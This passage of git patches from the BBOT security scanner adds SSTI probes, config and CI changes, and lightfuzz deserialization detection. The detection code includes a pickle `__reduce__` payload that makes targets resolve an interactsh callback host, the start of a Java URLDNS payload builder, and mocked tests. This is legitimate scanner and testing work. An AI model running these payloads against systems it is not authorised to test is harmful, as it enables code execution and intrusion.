"1,787{{z}},569", # Jinja2 comma-collapse (legacy, still useful) "{1337*1337}", # Smarty single-brace + # Apache Velocity uses `#set($x=A*B)$x`. The `#` must be + # URL-encoded to avoid being interpreted as a URL fragment. + "%23set(%24x%3d1337*1337)%24x", ] for probe_value in ssti_probes: r = await self.standard_probe( diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index b067bab583..dd7b2fad7a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -288,6 +288,37 @@ def check(self, module_test, events): ) +# SSTI Apache Velocity — `#set($x=A*B)$x` syntax. None of the pre-existing +# probes use this shape so a Velocity-backed endpoint would slip past. +class Test_Lightfuzz_ssti_velocity(Test_Lightfuzz_ssti_multiply): + def request_handler(self, request): + qs = str(request.query_string.decode()) + from urllib.parse import unquote as _unquote + + value = qs.split("data=")[1] if "data=" in qs else "" + if "&" in value: + value = value.split("&")[0] + decoded = _unquote(value) + # Recognize a Velocity `#set($x=A*B)$x` probe and render the product. + m = re.match(r"#set\(\$\w+=(\d+)\*(\d+)\)\$\w+", decoded) + if m: + return Response( + f"
    {int(m.group(1)) * int(m.group(2))}
    ", + status=200, + ) + # Anything else: plain echo with no template evaluation + return Response(f"
    Hi, {decoded}
    ", status=200) + + def check(self, module_test, events): + velocity_finding = False + for e in events: + if e.type == "FINDING": + desc = e.data["description"] + if "Server-side Template Injection" in desc and "%23set" in desc: + velocity_finding = True + assert velocity_finding, "Velocity SSTI FINDING not emitted" + + # Between Tags XSS Detection class Test_Lightfuzz_xss(ModuleTestBase): targets = ["http://127.0.0.1:8888"] From fc34b3c1ca72cf8d915fd7b489ff2c065b480abe Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Fri, 24 Apr 2026 12:07:39 -0400 Subject: [PATCH 551/912] fix docs pipeline, again --- .github/workflows/tests.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 52277730a3..10c6413f93 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -255,11 +255,11 @@ jobs: - name: Generate docs (stable branch) if: github.ref == 'refs/heads/stable' run: | - uv run mike deploy Stable + uv run --frozen mike deploy Stable - name: Generate docs (dev branch) if: github.ref == 'refs/heads/dev' run: | - uv run mike deploy Dev + uv run --frozen mike deploy Dev - name: Publish docs run: | git switch gh-pages From 6b44199898d7a19959acdedfb9d4e20ba40d7e6d Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Fri, 24 Apr 2026 12:11:16 -0400 Subject: [PATCH 552/912] better --- .github/workflows/docs_updater.yml | 4 ++-- .github/workflows/tests.yml | 6 +++--- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/.github/workflows/docs_updater.yml b/.github/workflows/docs_updater.yml index e645461660..bd7a8975ab 100644 --- a/.github/workflows/docs_updater.yml +++ b/.github/workflows/docs_updater.yml @@ -20,10 +20,10 @@ jobs: - name: Install uv uses: astral-sh/setup-uv@v7 - name: Install dependencies - run: uv sync --group dev + run: uv sync --frozen --group dev - name: Generate docs run: | - uv run bbot/scripts/docs.py + uv run --no-sync bbot/scripts/docs.py - name: Create or Update Pull Request uses: peter-evans/create-pull-request@v8 with: diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 10c6413f93..4d7fb2baff 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -241,7 +241,7 @@ jobs: - name: Install uv uses: astral-sh/setup-uv@v7 - name: Install dependencies - run: uv sync --frozen --only-group docs + run: uv sync --frozen --group docs - name: Configure Git run: | git config user.name github-actions @@ -255,11 +255,11 @@ jobs: - name: Generate docs (stable branch) if: github.ref == 'refs/heads/stable' run: | - uv run --frozen mike deploy Stable + uv run --no-sync mike deploy Stable - name: Generate docs (dev branch) if: github.ref == 'refs/heads/dev' run: | - uv run --frozen mike deploy Dev + uv run --no-sync mike deploy Dev - name: Publish docs run: | git switch gh-pages From fe1263d9d5453d3cb1da8bf66f2b9373293dfaf6 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 24 Apr 2026 12:36:07 -0400 Subject: [PATCH 553/912] Bump blasthttp to 0.3.2 --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 7274d2ebb4..a175f16fde 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -48,7 +48,7 @@ dependencies = [ "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", "cloudcheck>=9.2.0,<10", - "blasthttp>=0.2.0", + "blasthttp>=0.3.2", "blastdns>=1.9.0,<2", ] From ca4e74221b90b2d2031927eb9b560cffe1434e29 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Fri, 24 Apr 2026 12:46:00 -0400 Subject: [PATCH 554/912] don't duplicate defaults in code --- bbot/core/config/models.py | 316 ++++++++++++------------------------- 1 file changed, 102 insertions(+), 214 deletions(-) diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index 63a64df7e2..c793067d74 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -1,9 +1,14 @@ """ Pydantic schema for BBOT's global config and preset files. -The top-level `BBOTConfig` mirrors the structure of `defaults.yml`. Per-module -configs are validated separately at bake time against each module's own -`class Config(BaseModuleConfig)` (see `BaseModuleConfig` below). +These models describe the *shape* of valid BBOT configuration — field names +and their expected types — so that `validate_preset()` can catch typos +(`scpoe:`, `http_timoeut:`) and type errors at the boundary. + +Defaults live in `bbot/defaults.yml` — the single source of truth. This file +intentionally does **not** repeat those values; every field is optional, and +an absent field passes validation. At runtime, `BBOTConfigFiles` loads the +merged dict straight from YAML, and these models only ever validate shape. """ from __future__ import annotations @@ -20,75 +25,65 @@ class ScopeConfig(BaseModel): model_config = STRICT - strict: bool = False - report_distance: int = 0 - search_distance: int = 0 + strict: Optional[bool] = None + report_distance: Optional[int] = None + search_distance: Optional[int] = None class DnsConfig(BaseModel): model_config = STRICT - disable: bool = False - minimal: bool = False - threads: int = 10 - cache_size: int = 100000 - brute_threads: int = 1000 - brute_nameservers: str = ( - "https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt" - ) - search_distance: int = 1 - runaway_limit: int = 5 - timeout: int = 5 - retries: int = 1 - wildcard_disable: bool = False - wildcard_ignore: list[str] = Field(default_factory=list) - wildcard_tests: int = 10 - abort_threshold: int = 10 - filter_ptrs: bool = True - debug: bool = False - omit_queries: list[str] = Field( - default_factory=lambda: [ - "SRV:mail.protection.outlook.com", - "CNAME:mail.protection.outlook.com", - "TXT:mail.protection.outlook.com", - ] - ) + disable: Optional[bool] = None + minimal: Optional[bool] = None + threads: Optional[int] = None + cache_size: Optional[int] = None + brute_threads: Optional[int] = None + brute_nameservers: Optional[str] = None + search_distance: Optional[int] = None + runaway_limit: Optional[int] = None + timeout: Optional[int] = None + retries: Optional[int] = None + wildcard_disable: Optional[bool] = None + wildcard_ignore: Optional[list[str]] = None + wildcard_tests: Optional[int] = None + abort_threshold: Optional[int] = None + filter_ptrs: Optional[bool] = None + debug: Optional[bool] = None + omit_queries: Optional[list[str]] = None class WebConfig(BaseModel): model_config = STRICT http_proxy: Optional[str] = None - user_agent: str = ( - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " - "(KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.2151.97" - ) + user_agent: Optional[str] = None user_agent_suffix: Optional[str] = None - spider_distance: int = 0 - spider_depth: int = 1 - spider_links_per_page: int = 25 - http_timeout: int = 10 - httpx_timeout: int = 5 - http_headers: dict[str, str] = Field(default_factory=dict) - http_cookies: dict[str, str] = Field(default_factory=dict) - api_retries: int = 2 - http_retries: int = 1 - httpx_retries: int = 1 - sleep_interval_429: int = Field(30, alias="429_sleep_interval") - max_sleep_interval_429: int = Field(60, alias="429_max_sleep_interval") - debug: bool = False - http_max_redirects: int = 5 - ssl_verify: bool = False + spider_distance: Optional[int] = None + spider_depth: Optional[int] = None + spider_links_per_page: Optional[int] = None + http_timeout: Optional[int] = None + httpx_timeout: Optional[int] = None + http_headers: Optional[dict[str, str]] = None + http_cookies: Optional[dict[str, str]] = None + api_retries: Optional[int] = None + http_retries: Optional[int] = None + httpx_retries: Optional[int] = None + # The `429_*` keys start with a digit, so we expose them via aliases. + sleep_interval_429: Optional[int] = Field(default=None, alias="429_sleep_interval") + max_sleep_interval_429: Optional[int] = Field(default=None, alias="429_max_sleep_interval") + debug: Optional[bool] = None + http_max_redirects: Optional[int] = None + ssl_verify: Optional[bool] = None class EngineConfig(BaseModel): model_config = STRICT - debug: bool = False + debug: Optional[bool] = None class DepsToolConfig(BaseModel): - """Per-tool dep config, e.g. deps.ffuf.version""" + """Per-tool dep config (e.g. `deps.ffuf.version`).""" model_config = STRICT @@ -98,30 +93,34 @@ class DepsToolConfig(BaseModel): class DepsConfig(BaseModel): model_config = STRICT - behavior: str = "abort_on_failure" - ffuf: DepsToolConfig = Field(default_factory=lambda: DepsToolConfig(version="2.1.0")) + behavior: Optional[str] = None + ffuf: Optional[DepsToolConfig] = None class BaseModuleConfig(BaseModel): """ Shared base for every module's `class Config(BaseModuleConfig)`. - Carries the three universal module options that are applied to every - module regardless of declaration. + + Declares the three universal module options that are applied to every + module regardless of declaration. The actual default values live in + `bbot/defaults.yml`; this class only validates shape. """ model_config = STRICT - batch_size: int = 10 - module_threads: int = 5 - module_timeout: int = 3600 + batch_size: Optional[int] = None + module_threads: Optional[int] = None + module_timeout: Optional[int] = None class BBOTConfig(BaseSettings): """ - Root BBOT config. Mirrors `bbot/defaults.yml`. + Root BBOT config schema. Unknown top-level keys are rejected so that + typos like `scpoe:` or `moudules:` become loud errors instead of silent + no-ops. - Unknown top-level keys raise ValidationError. This is what catches typos - like `scpoe:` or `moudules:` in user configs. + This is a validation schema only — it has no default values. The real + defaults live in `bbot/defaults.yml`. """ model_config = SettingsConfigDict( @@ -132,167 +131,56 @@ class BBOTConfig(BaseSettings): ) # Basic options - home: str = "~/.bbot" - keep_scans: int = 20 - status_frequency: int = 15 - file_blobs: bool = False - folder_blobs: bool = False - - # Scope / DNS / Web / Engine / Deps - scope: ScopeConfig = Field(default_factory=ScopeConfig) - dns: DnsConfig = Field(default_factory=DnsConfig) - web: WebConfig = Field(default_factory=WebConfig) - engine: EngineConfig = Field(default_factory=EngineConfig) - deps: DepsConfig = Field(default_factory=DepsConfig) + home: Optional[str] = None + keep_scans: Optional[int] = None + status_frequency: Optional[int] = None + file_blobs: Optional[bool] = None + folder_blobs: Optional[bool] = None + + # Nested sections + scope: Optional[ScopeConfig] = None + dns: Optional[DnsConfig] = None + web: Optional[WebConfig] = None + engine: Optional[EngineConfig] = None + deps: Optional[DepsConfig] = None # Module loader paths - module_dirs: list[str] = Field(default_factory=list) + module_dirs: Optional[list[str]] = None # Module runtime - module_handle_event_timeout: int = 3600 - module_handle_batch_timeout: int = 7200 + module_handle_event_timeout: Optional[int] = None + module_handle_batch_timeout: Optional[int] = None - # Internal module toggles (these are hardcoded because they're first-class - # features of the scan pipeline; the set changes rarely) - speculate: bool = True - excavate: bool = True - aggregate: bool = True - dnsresolve: bool = True - cloudcheck: bool = True + # Internal module toggles (hardcoded because they're first-class scan + # pipeline features; the set changes rarely) + speculate: Optional[bool] = None + excavate: Optional[bool] = None + aggregate: Optional[bool] = None + dnsresolve: Optional[bool] = None + cloudcheck: Optional[bool] = None # URL handling - url_querystring_remove: bool = True - url_querystring_collapse: bool = True - url_extension_blacklist: list[str] = Field( - default_factory=lambda: [ - "png", - "jpg", - "bmp", - "ico", - "jpeg", - "gif", - "svg", - "webp", - "css", - "woff", - "woff2", - "ttf", - "eot", - "sass", - "scss", - "mp3", - "m4a", - "wav", - "flac", - "mp4", - "mkv", - "avi", - "wmv", - "mov", - "flv", - "webm", - ] - ) - url_extension_special: list[str] = Field(default_factory=lambda: ["js"]) - url_extension_static: list[str] = Field( - default_factory=lambda: [ - "pdf", - "doc", - "docx", - "xls", - "xlsx", - "ppt", - "pptx", - "txt", - "csv", - "xml", - "yaml", - "ini", - "log", - "conf", - "cfg", - "env", - "md", - "rtf", - "tiff", - "bmp", - "jpg", - "jpeg", - "png", - "gif", - "svg", - "ico", - "mp3", - "wav", - "flac", - "mp4", - "mov", - "avi", - "mkv", - "webm", - "zip", - "tar", - "gz", - "bz2", - "7z", - "rar", - ] - ) + url_querystring_remove: Optional[bool] = None + url_querystring_collapse: Optional[bool] = None + url_extension_blacklist: Optional[list[str]] = None + url_extension_special: Optional[list[str]] = None + url_extension_static: Optional[list[str]] = None # Parameter handling - parameter_blacklist: list[str] = Field( - default_factory=lambda: [ - "__VIEWSTATE", - "__EVENTARGUMENT", - "__EVENTVALIDATION", - "__EVENTTARGET", - "__VIEWSTATEGENERATOR", - "__SCROLLPOSITIONY", - "__SCROLLPOSITIONX", - "ASP.NET_SessionId", - ".AspNetCore.Session", - "PHPSESSID", - "__cf_bm", - "f5_cspm", - ] - ) - parameter_blacklist_prefixes: list[str] = Field( - default_factory=lambda: [ - "TS01", - "BIGipServer", - "f5avr", - "incap_", - "visid_incap_", - "AWSALB", - "utm_", - "ApplicationGatewayAffinity", - "JSESSIONID", - "ARRAffinity", - ] - ) + parameter_blacklist: Optional[list[str]] = None + parameter_blacklist_prefixes: Optional[list[str]] = None # Event output filter - omit_event_types: list[str] = Field( - default_factory=lambda: [ - "HTTP_RESPONSE", - "RAW_TEXT", - "URL_UNVERIFIED", - "DNS_NAME_UNRESOLVED", - "FILESYSTEM", - "WEB_PARAMETER", - "RAW_DNS_RECORD", - ] - ) + omit_event_types: Optional[list[str]] = None # Interactsh interactsh_server: Optional[str] = None interactsh_token: Optional[str] = None - interactsh_disable: bool = False + interactsh_disable: Optional[bool] = None - # Per-module configs — validated separately, per-module, at bake time. - # Stored here as raw dicts so the root validator accepts any module - # registered at preload time. - modules: dict[str, dict[str, Any]] = Field(default_factory=dict) + # Per-module configs — validated separately, per-module, against each + # module's own `class Config(BaseModuleConfig)`. + modules: Optional[dict[str, dict[str, Any]]] = None class PresetSchema(BaseModel): @@ -300,8 +188,8 @@ class PresetSchema(BaseModel): Schema for the top-level keys in a preset YAML file. Catches typos like `modlues:` or `flgas:` at load time. - `target`/`targets` and `include`/`presets` are aliases; both accepted. - `config` is validated separately as `BBOTConfig`. + `target`/`targets` and `include`/`presets` are aliases; both are accepted. + The `config` key is validated separately as `BBOTConfig`. """ model_config = ConfigDict( @@ -309,8 +197,8 @@ class PresetSchema(BaseModel): populate_by_name=True, ) - target: Optional[list[str]] = Field(default=None) - targets: Optional[list[str]] = Field(default=None) + target: Optional[list[str]] = None + targets: Optional[list[str]] = None seeds: Optional[list[str]] = None blacklist: Optional[list[str]] = None @@ -334,9 +222,9 @@ class PresetSchema(BaseModel): conditions: Optional[list[str]] = None - verbose: bool = False - debug: bool = False - silent: bool = False + verbose: Optional[bool] = None + debug: Optional[bool] = None + silent: Optional[bool] = None __all__ = [ From 6a4f9794ac2b30749170e4d0c1c8ceb270086025 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 24 Apr 2026 13:19:26 -0400 Subject: [PATCH 555/912] Lightfuzz FN-hunt round 5: serial pickle + skip_envelopes opt-in MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Two changes: 1. Python pickle coverage for the serial submodule. - Static payloads: benign `pickle.dumps('test')` in both base64 and hex dicts, plus `unpicklingerror` added to the error-string list for the Differential Error Analysis path. - Blind RCE: generates a fresh pickle payload per scan whose `__reduce__` calls `socket.gethostbyname(interactsh_subdomain)`. Because pickle is Python-native, the payload can be rebuilt per scan with a unique OOB callback — no pre-generated template or out-of-process gadget tooling required. - `uses_interactsh = True` so lightfuzz spins up interactsh when serial is the only enabled submodule. 2. `skip_envelopes` opt-in on BaseLightfuzz. - When a submodule's payloads ARE the wire format (base64-encoded serialized objects, hex blobs, etc.), the envelope system must not re-pack them based on what the parameter's original value looked like. Without this, a base64-wrapped plain-text parameter would cause serial's already-base64 pickle payload to be double-encoded before transit. - Class-level flag: submodules set `skip_envelopes = True` and the base-class helpers `incoming_probe_value` / `outgoing_probe_value` skip unwrap/pack accordingly. Default stays False for every other submodule. Tests: 2 new serial save-points (pickle Error Resolution + pickle OOB interactsh). The OOB test mocks interactsh, decodes the incoming payload, extracts the embedded subdomain, and triggers a mock interaction to confirm the detection path fires. Full lightfuzz suite 75/75 (was 73). --- bbot/modules/lightfuzz/submodules/base.py | 28 ++++- bbot/modules/lightfuzz/submodules/serial.py | 61 ++++++++++ .../module_tests/test_module_lightfuzz.py | 104 ++++++++++++++++++ 3 files changed, 192 insertions(+), 1 deletion(-) diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index e2536f1ce9..92bea10c30 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -7,6 +7,12 @@ class BaseLightfuzz: friendly_name = "" uses_interactsh = False + # When True, this submodule operates at the wire-format level and does + # NOT want the envelope system to unwrap incoming probe values or pack + # outgoing ones. Used by submodules whose payloads ARE the transport + # encoding (e.g. `serial`, whose base64/hex/PHP-raw payloads are already + # the exact bytes the server should receive). + skip_envelopes = False def __init__(self, lightfuzz, event): self.lightfuzz = lightfuzz @@ -266,12 +272,23 @@ def metadata(self): def incoming_probe_value(self, populate_empty=True): """ Transparently modifies the incoming probe value (the original value of the WEB_PARAMETER), given any envelopes that may have been identified, so that fuzzing within the envelopes can occur. + + Submodules that set `skip_envelopes = True` receive the raw outer + value unchanged — used when the submodule's payloads ARE the wire + format and should not be unwrapped. """ envelopes = getattr(self.event, "envelopes", None) probe_value = None - if envelopes is not None: + if envelopes is not None and not self.skip_envelopes: probe_value = envelopes.get_subparam() self.debug(f"incoming_probe_value (after unpacking): {probe_value} with envelopes [{envelopes}]") + elif envelopes is not None and self.skip_envelopes: + # Honor the outer-only opt-out: return the raw original value. + probe_value = self.event.data.get("original_value") + self.debug( + f"incoming_probe_value (skip_envelopes=True): returning raw outer value [{probe_value}] " + f"instead of unwrapping [{envelopes}]" + ) if probe_value is None or probe_value == "": if populate_empty is True: probe_value = self.lightfuzz.helpers.rand_string(10, numeric_only=True) @@ -285,10 +302,19 @@ def outgoing_probe_value(self, outgoing_probe_value): Transparently packs the outgoing probe value (fuzz probe being sent to the target) through any envelopes that may have been identified, so that fuzzing within the envelopes can occur. + Submodules that set `skip_envelopes = True` have their probe sent + unchanged — used when the probe's bytes ARE the wire format and + should not be re-encoded. + Uses pack_value() to avoid mutating the envelope's internal state, preventing cross-contamination between submodules that share the same event/envelope object. """ self.debug(f"outgoing_probe_value (before packing): {outgoing_probe_value} / {self.event}") + if self.skip_envelopes: + self.debug( + f"outgoing_probe_value (skip_envelopes=True): bypassing envelope packing for [{outgoing_probe_value}]" + ) + return outgoing_probe_value envelopes = getattr(self.event, "envelopes", None) if envelopes is not None: outgoing_probe_value = envelopes.pack_value(outgoing_probe_value) diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index b3fd4bd915..06ce136660 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -1,7 +1,24 @@ +import base64 +import pickle +import socket + from .base import BaseLightfuzz from bbot.errors import HttpCompareError +class _PickleOOB: + """Pickle-RCE canary: __reduce__ makes the deserializing process resolve + a controlled DNS name, which can be observed via interactsh. Declared + at module scope so the ``socket.gethostbyname`` reference pickles + cleanly by fully-qualified name.""" + + def __init__(self, callback_host): + self._callback_host = callback_host + + def __reduce__(self): + return (socket.gethostbyname, (self._callback_host,)) + + class serial(BaseLightfuzz): """Finds parameters where serialized objects might be being deserialized. It starts by performing a baseline with a specially-crafted non-serialized payload, separated by type (base64, hex, php raw). @@ -15,6 +32,13 @@ class serial(BaseLightfuzz): """ friendly_name = "Unsafe Deserialization" + uses_interactsh = True + # Serial probes are raw serialized bytes (base64/hex/PHP-raw) — the exact + # wire format the target receives. Bypass the envelope system so probes + # aren't re-encoded based on what the parameter's original value looked + # like (e.g. preventing an already-base64 pickle from being base64'd again + # because the original value happened to be base64-wrapped plain text). + skip_envelopes = True # Class-level constants CONTROL_PAYLOAD_HEX = "f56124208220432ec767646acd2e6c6bc9622a62c5656f2eeb616e2f" @@ -28,12 +52,16 @@ class serial(BaseLightfuzz): "java_base64_OptionalDataException": "rO0ABXcEAAAAAAEAAAABc3IAEGphdmEudXRpbC5IYXNoTWFwAAAAAAAAAAECAAJMAARrZXkxYgABAAAAAAAAAAJ4cHcBAAAAB3QABHRlc3Q=", "dotnet_base64": "AAEAAAD/////AQAAAAAAAAAGAQAAAAdndXN0YXZvCw==", "ruby_base64": "BAh7BjoKbE1FAAVJsg==", + # Python pickle v4 of the string "test" — benign value, but any + # endpoint that accepts it without error is pickle-deserializing. + "python_pickle_base64": "gASVCAAAAAAAAACMBHRlc3SULg==", } HEX_SERIALIZATION_PAYLOADS = { "java_hex": "ACED00057372000E6A6176612E6C616E672E426F6F6C65616ECD207EC0D59CF6EE02000157000576616C7565787000", "java_hex_OptionalDataException": "ACED0005737200106A6176612E7574696C2E486173684D617000000000000000012000014C00046B6579317A00010000000000000278707000000774000474657374", "dotnet_hex": "0001000000ffffffff01000000000000000601000000076775737461766f0b", + "python_pickle_hex": "80049508000000000000008C0474657374942E", } PHP_RAW_SERIALIZATION_PAYLOADS = { @@ -45,6 +73,7 @@ class serial(BaseLightfuzz): "cannot cast java.lang.string", "dump format error", "java.io.optionaldataexception", + "unpicklingerror", # Python pickle, distinctive to the pickle module ] GENERAL_ERROR_STRINGS = [ @@ -246,3 +275,35 @@ def get_title(text): for r in self.results: r.pop("_technique", None) r.pop("_language", None) + + # Blind RCE via Python pickle OOB. Payload generation is native to + # Python (unlike ysoserial-style Java/.NET gadgets that require + # out-of-process tooling), so we build the payload fresh with a + # unique interactsh subdomain each scan. A hit confirms not just + # "deserialization happens" but "attacker-controlled code ran". + if self.lightfuzz.interactsh_instance: + self.lightfuzz.event_dict[self.event.url] = self.event + subdomain_tag = self.lightfuzz.helpers.rand_string(4, digits=False) + callback_host = f"{subdomain_tag}.{self.lightfuzz.interactsh_domain}" + self.lightfuzz.interactsh_subdomain_tags[subdomain_tag] = { + "event": self.event, + "name": "Unsafe Deserialization", + "description": ( + f"Python pickle OOB RCE (OOB Interaction) Type: [{self.event.data['type']}] " + f"Parameter Name: [{self.event.data['name']}] Payload: [python_pickle_oob]" + ), + "severity": "CRITICAL", + "confidence": "CONFIRMED", + } + try: + pickle_oob_bytes = pickle.dumps(_PickleOOB(callback_host)) + pickle_oob_b64 = base64.b64encode(pickle_oob_bytes).decode() + except Exception as e: + self.debug(f"failed to build pickle OOB payload: {e}") + else: + await self.standard_probe( + self.event.data["type"], + cookies, + pickle_oob_b64, + timeout=15, + ) diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index dd7b2fad7a..547dead8ef 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1806,6 +1806,110 @@ def check(self, module_test, events): ) +# Python pickle Error Resolution — verifies the new python_pickle_base64 +# payload flips a baseline UnpicklingError 500 into a 200, which is the +# canonical detection path for all languages in the serial submodule. +class Test_Lightfuzz_serial_python_pickle(Test_Lightfuzz_serial_errorresolution): + modules_overrides = ["http", "lightfuzz", "excavate", "paramminer_getparams"] + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": {"enabled_submodules": ["serial"]}, + # Make paramminer discover the pklparam on /deser_pickle. + "paramminer_getparams": {"wordlist": "", "recycle_words": False, "skip_boring_words": True}, + }, + } + + PICKLE_BENIGN_B64 = "gASVCAAAAAAAAACMBHRlc3SULg==" + + # Seed value is `aTowOw==` — base64 of `i:0;` (PHP-serialized integer). + # bbot's envelope system detects the outer B64 envelope and would + # normally re-pack any outgoing probe as base64 again — which would + # double-encode serial's already-base64 payloads and break detection. + # Because serial sets `skip_envelopes = True`, the bypass kicks in and + # the raw outer value is forwarded to `is_possibly_serialized` (which + # accepts base64-looking strings) and probes are sent verbatim. + SEED_HREF = 'pkl' + + async def setup_after_prep(self, module_test): + # Seed the parameter directly so the scan doesn't depend on + # paramminer discovering it. + expect_args = {"method": "GET", "uri": "/"} + respond_args = {"response_data": self.SEED_HREF, "status": 200} + module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + expect_args = re.compile("/deser_pickle") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def request_handler(self, request): + value = request.args.get("pklparam", "") + if value == self.PICKLE_BENIGN_B64: + return Response("ok", status=200) + return Response("UnpicklingError: invalid pickle", status=500) + + def check(self, module_test, events): + pickle_finding = False + for e in events: + if e.type == "FINDING": + desc = e.data["description"] + if ( + "POSSIBLE Unsafe Deserialization" in desc + and "Serialization Payload: [python_pickle_base64]" in desc + ): + pickle_finding = True + assert pickle_finding, "Python pickle Error Resolution FINDING not emitted" + + +# Python pickle OOB (blind RCE) — verifies that the new pickle OOB payload +# triggers an interactsh interaction when deserialized, giving a CONFIRMED +# blind-RCE finding without needing response-body inspection. +class Test_Lightfuzz_serial_pickle_interactsh(Test_Lightfuzz_serial_python_pickle): + config_overrides = { + "interactsh_disable": False, + "modules": { + "lightfuzz": {"enabled_submodules": ["serial"]}, + }, + } + + async def setup_before_prep(self, module_test): + self.interactsh_mock_instance = module_test.mock_interactsh("lightfuzz") + + def mock_interactsh_factory(*args, **kwargs): + return self.interactsh_mock_instance + + from bbot.core.helpers.helper import ConfigAwareHelper + + module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory) + + def request_handler(self, request): + import base64 as _b64 + import re as _re + + value = request.args.get("pklparam", "") + try: + decoded = _b64.b64decode(value) + except Exception: + decoded = b"" + # Look for the interactsh subdomain tag embedded in the pickle bytes. + # The subdomain is UTF-8 in the pickle stream, so scan the raw bytes. + match = _re.search(rb"([a-z]+)\.fakedomain\.fakeinteractsh\.com", decoded) + if match: + tag = match.group(1).decode("ascii") + self.interactsh_mock_instance.mock_interaction(tag) + return Response("ok", status=200) + + def check(self, module_test, events): + oob_finding = False + for e in events: + if e.type == "FINDING": + desc = e.data["description"] + if ( + "Python pickle OOB RCE (OOB Interaction)" in desc + and "Payload: [python_pickle_oob]" in desc + ): + oob_finding = True + assert oob_finding, "Python pickle OOB interactsh FINDING not emitted" + + # CMDi echo canary class Test_Lightfuzz_cmdi(ModuleTestBase): targets = ["http://127.0.0.1:8888"] From 14d9fdb780fd048c5b7e7efba5b310248a2d29f5 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 24 Apr 2026 14:01:11 -0400 Subject: [PATCH 556/912] Lightfuzz FN-hunt round 6: serial Java URLDNS OOB MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add a pure-Python Java URLDNS serialization payload builder to the serial submodule's interactsh OOB block. When deserialized by any Java ObjectInputStream, HashMap.readObject() recomputes hash codes for its keys — our single key is a java.net.URL with its stored hashCode field set to -1 (the "unset" sentinel), so URL.hashCode() falls through to the stream handler, which calls URL.getHostAddress() and performs a DNS lookup on the embedded host. That lookup is observable via interactsh and gives us a CONFIRMED-confidence Java RCE finding. The payload fires against ANY Java deserialization sink — it requires only java.util.HashMap and java.net.URL, both in every JVM stdlib since 1.1. No gadget-chain class needs to be present in the target's classpath, which is the same coverage as ysoserial's URLDNS gadget. Zero new dependencies. Builder constructs the full byte stream from the Java serialization spec using struct — ~80 LOC, cross-verified to parse as a HashMap-with-URL-key by third-party readers during development. Each scan generates a fresh payload with a unique interactsh subdomain. Tests: 1 new save-point (URLDNS interactsh). Mock decodes the incoming payload, greps for the embedded subdomain bytes, and triggers a mock interaction to confirm the detection path fires. Full lightfuzz suite 76/76 (was 75). --- bbot/modules/lightfuzz/submodules/serial.py | 134 ++++++++++++++++-- .../module_tests/test_module_lightfuzz.py | 38 +++++ 2 files changed, 161 insertions(+), 11 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index 06ce136660..8497c728d6 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -1,6 +1,7 @@ import base64 import pickle import socket +import struct from .base import BaseLightfuzz from bbot.errors import HttpCompareError @@ -19,6 +20,90 @@ def __reduce__(self): return (socket.gethostbyname, (self._callback_host,)) +def _java_utf(s): + """Encode a string with Java's 2-byte-length-prefixed modified UTF.""" + b = s.encode("utf-8") + return struct.pack(">H", len(b)) + b + + +def _build_java_urldns_payload(host): + """ + Construct a Java URLDNS serialization payload targeting ``host``. + + When deserialized by ObjectInputStream, HashMap.readObject rebuilds + its internal table by calling putVal(hash(key), key, value, ...), + and ``hash(key)`` invokes ``key.hashCode()``. Our key is a + java.net.URL with its stored hashCode field set to -1 (the "unset" + sentinel), so URL.hashCode() falls through to the stream handler's + hashCode(), which calls URL.getHostAddress(), which performs a DNS + lookup on ``host``. That lookup is observable via interactsh. + + This works against ANY Java deserialization sink — no gadget-chain + class needs to be present in the target's classpath. Only + java.util.HashMap + java.net.URL are required, both in every JVM's + stdlib since 1.1. + """ + buf = bytearray() + # STREAM_MAGIC + STREAM_VERSION=5 + buf += 